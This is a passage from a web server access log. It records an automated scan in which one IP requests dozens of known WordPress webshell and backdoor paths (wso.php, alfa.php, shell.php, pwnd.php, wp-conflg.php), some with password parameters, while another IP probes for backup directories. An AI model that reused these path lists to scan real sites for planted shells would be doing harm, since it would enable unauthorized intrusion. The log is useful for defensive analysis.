/wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:11 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:15 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:20 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:22 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:23 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:26 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:27 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:29 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:32 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:34 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:39 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:41 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:42 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:45 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:47 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:48 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:50 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:51 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:53 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:54 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:55 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:56 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:57 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:59 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:02 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:04 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:07 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:08 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:11 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:14 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:22 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:26 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:29 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:31 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:34 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:36 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:40 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:44 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:49 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:52 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:54 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:55 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:57 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:19:58 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:00 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:03 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:06 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:11 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:17 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:22 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:26 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:27 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:28 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:29 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:30 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:31 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:33 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:33 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:35 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:35 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:09:20:38 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:38 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:39 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:40 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:41 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:42 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [15/Apr/2025:09:20:42 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [15/Apr/2025:09:20:44 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:20:44 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:46 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:47 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:48 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:49 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:51 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:52 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:53 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:54 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:56 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:57 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:20:58 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:00 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:01 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:05 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:07 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:08 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:09 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:10 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:11 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:13 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:15 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:16 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:19 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:22 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:27 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:31 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:36 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:41 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:44 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:47 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:49 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:53 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:55 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:21:59 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:05 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:08 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:11 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:12 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:15 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:19 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:23 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:26 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:29 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:34 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:38 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:42 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:46 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:50 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:53 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:57 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:22:59 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:01 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:04 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:05 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:07 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:10 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:12 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:13 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:14 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:17 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:19 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:21 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:22 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:23 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:25 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:26 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:28 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:29 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:32 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:35 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:37 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:39 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:41 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:45 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:47 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:49 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:50 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:51 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:54 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:55 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:23:57 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:00 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:01 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:04 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:07 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:09 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:11 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 18.143.99.178 - - [15/Apr/2025:09:24:12 -0400] "GET /img/brand-associate/25_aadiva.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 52.169.149.163 - - [15/Apr/2025:09:24:13 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:15 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:20 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:23 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:26 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:33 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:37 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:40 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:43 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:45 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:47 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:54 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:24:57 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:01 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:06 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:10 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:15 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:20 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:23 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:26 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:27 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:30 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:33 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:36 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:40 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:42 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:46 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:50 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:52 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:55 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:25:58 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:02 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:06 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:12 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:16 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:19 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:22 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:23 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:26 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:28 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:33 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:37 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:40 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:43 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:46 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:48 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:51 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:53 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:26:59 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:01 -0400] "GET 